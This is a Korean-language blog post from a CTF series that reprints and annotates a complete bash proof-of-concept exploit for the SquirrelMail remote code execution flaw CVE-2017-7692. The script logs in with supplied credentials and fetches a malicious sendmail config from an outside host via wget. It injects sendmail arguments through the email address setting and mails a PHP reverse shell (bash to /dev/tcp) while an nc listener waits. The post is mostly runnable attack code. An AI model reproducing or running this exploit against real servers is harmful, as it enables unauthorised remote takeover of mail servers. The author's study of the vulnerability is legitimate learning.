CVE-2017-7692

agnusdei·2025년 11월 30일

CTF

목록 보기
181/185
post-thumbnail

분석을 통해 이 익스플로잇이 어떻게 세션 관리, 파일 업로드, 입력값 조작의 3단계 취약점 체인을 구성하는지 파악하는 것이 중요합니다.


🛠️ SquirrelMail RCE Exploit (CVE-2017-7692) 원본 코드 분석

아래는 제공해주신 원본 bash 스크립트에 상세한 주석을 추가하여 각 명령어와 논리가 무엇을 목표로 하는지 설명한 것입니다.

#!/bin/bash
# -----------------------------------------------------------------
# SquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692)
# 공격 목표: SquirrelMail에서 Sendmail을 사용하는 환경의 Remote Code Execution (RCE)
# -----------------------------------------------------------------

# (Header, ASCII art, and Disclaimer omitted for brevity)

# [1] 초기 변수 설정 및 환경 검사
sqspool="/var/spool/squirrelmail/attach/" # SquirrelMail이 첨부 파일을 저장하는 서버의 스풀 디렉터리 경로

# 명령줄 인자 (타겟 URL)가 제공되었는지 확인
if [ $# -ne 1 ]; then
	echo -e "Usage: \n$0 SquirrelMail_URL"
	echo -e "Example: \n$0 http://target/squirrelmail/ \n"
	exit 2
fi
URL="$1" # 타겟 URL 변수 설정

# 사용자 인증 정보 입력 받기
echo -e "\n[*] Enter SquirrelMail user credentials"
read -p  "user: " squser
read -sp "pass: " sqpass # -sp: 비밀번호 입력 시 화면에 표시되지 않도록 함

# [2] 로그인 및 세션 획득
echo -e "\n\n[*] Logging in to SquirrelMail at $URL"
# 로그인 POST 요청: 자격 증명을 전송하고, 응답 헤더를 /tmp/sqdata에 저장 (-D)
curl -s -D /tmp/sqdata -d"login_username=$squser&secretkey=$sqpass&js_autodetect_results=1&just_logged_in=1" $URL/src/redirect.php | grep -q incorrect
if [ $? -eq 0 ]; then
	echo "Invalid creds" # 'incorrect' 문자열이 발견되면 로그인 실패
	exit 2
fi

# 응답 헤더에서 SQMSESSID 값 추출 (세션 쿠키)
sessid="`cat /tmp/sqdata | grep SQMSESS | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"
# 응답 헤더에서 key 값 추출 (또 다른 인증 토큰/쿠키)
keyid="`cat /tmp/sqdata | grep key | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"


# [3] 악성 Sendmail 설정 파일 준비 및 업로드
# Prepare Sendmail cnf: 이 설정 파일은 PHP 실행을 위한 로직을 포함함
# Mlocal, P=/usr/bin/php, A=php -- $u $h ${client_addr}
wget -q -O/tmp/smcnf-exp https://legalhackers.com/exploits/sendmail-exploit.cf # 익스플로잇 설정 파일 다운로드

echo -e "\n\n[*] Uploading Sendmail config"
# 첨부 파일 업로드를 위해 현재 페이지에서 Anti-CSRF 토큰(smtoken) 획득
token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/compose.php?mailbox=INBOX&startMessage=1" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
# 파일 업로드 요청: -F"attachfile=@/tmp/smcnf-exp"를 통해 로컬 파일을 전송
# 서버 응답에서 업로드된 첨부 파일의 **고유 ID (attachid)** 추출. (원본 코드의 `&quot;` 처리 부분이 눈에 띕니다.)
attachid="`curl -H "Expect:" -s -b"SQMSESSID=$sessid; key=$keyid" -F"smtoken=$token" -F"send_to=$mail" -F"subject=attach" -F"body=test" -F"attachfile=@/tmp/smcnf-exp" -F"username=$squser" -F"attach=Add" $URL/src/compose.php | awk -F's:32' '{print $2}' | awk -F'&quot;' '{print $2}' | tr -d '\n'`"
if [ ${#attachid} -lt 32 ]; then
	echo "Something went wrong. Failed to upload the sendmail file."
	exit 2
fi

# [4] 페이로드 선택 및 Sendmail 인자 구성
echo -e "\n\n[?] Select payload\n"
echo "1 - File write (into /tmp/sqpoc)"
echo "2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)"
echo
read -p "[1-2] " pchoice

case $pchoice in
	1) # 파일 쓰기 페이로드: Sendmail의 -X (로그 파일 지정) 옵션 주입
	   payload="$squser@localhost	-oQ/tmp/	-X/tmp/sqpoc" 
	   ;;

	2) # RCE 페이로드: Sendmail의 -C (설정 파일 강제 로드) 옵션 주입
	   # $sqspool/$attachid는 서버에 업로드된 악성 설정 파일의 실제 경로를 가리킴
	   payload="$squser@localhost	-oQ/tmp/	-C$sqspool/$attachid" 
	   ;;
esac

# RCE 선택 시, 리버스 셸을 받을 공격자 IP와 PORT 입력
if [ $pchoice -eq 2 ]; then
	echo
	read -p "Reverese shell IP: " reverse_ip
	read -p "Reverese shell PORT: " reverse_port
fi

# PHP 리버스 셸 코드: 메일 본문에 삽입되어 실행될 명령어
phprevsh="
<?php 
	\$cmd = \"/bin/bash -c 'bash -i >/dev/tcp/$reverse_ip/$reverse_port 0<&1 2>&1 & '\";
	file_put_contents(\"/tmp/cmd\", 'export PATH=\"\$PATH\" ; export TERM=vt100 ;' . \$cmd);
	system(\"/bin/bash /tmp/cmd ; rm -f /tmp/cmd\");
?>"


# [5] 취약점 주입 (Sendmail 인자 삽입)
echo -e "\n[*] Injecting Sendmail command parameters"
# 개인 정보 설정 페이지에 접속하여 smtoken 재획득
token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/options.php?optpage=personal" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"

# **핵심 취약점 단계**: 'new_email_address' 필드에 악의적인 `$payload` (Sendmail 인자)를 주입하고 설정 저장
curl -s -b"SQMSESSID=$sessid; key=$keyid" -d "smtoken=$token&optpage=personal&optmode=submit&submit_personal=Submit" --data-urlencode "new_email_address=$payload" "$URL/src/options.php?optpage=personal" | grep -q 'Success' 2>/dev/null
if [ $? -ne 0 ]; then
	echo "Failed to inject sendmail parameters"
	exit 2
fi

# [6] RCE 트리거 및 리버스 셸 수신 대기
echo -e "\n[*] Sending the email to trigger the vuln"
# 이메일 전송 요청: Sendmail이 실행되도록 트리거
# 메일 본문(`body`)에 리버스 셸 PHP 코드(`$phprevsh`)를 담아 전송 (백그라운드에서 실행 &)
(sleep 2s && curl -s -D/tmp/sheaders -b"SQMSESSID=$sessid; key=$keyid" -d"smtoken=$token" -d"startMessage=1" -d"session=0" \
-d"send_to=$squser@localhost" -d"subject=poc" --data-urlencode "body=$phprevsh" -d"send=Send" -d"username=$squser" $URL/src/compose.php) &

# RCE 선택 시, Netcat (nc)을 리스너 모드로 실행하여 셸 연결 대기
if [ $pchoice -eq 2 ]; then
	echo -e "\n[*] Waiting for shell on $reverse_ip port $reverse_port"
	nc -vv -l -p $reverse_port
else
	echo -e "\n[*] The test file should have been written at /tmp/sqpoc"
fi

# 메일 전송 성공 여부 (HTTP 302 Found) 확인
grep -q "302 Found" /tmp/sheaders
if [ $? -eq 1 ]; then
	echo "There was a problem with sending email"
	exit 2
fi


# Done
echo -e "\n[*] All done. Exiting"
profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글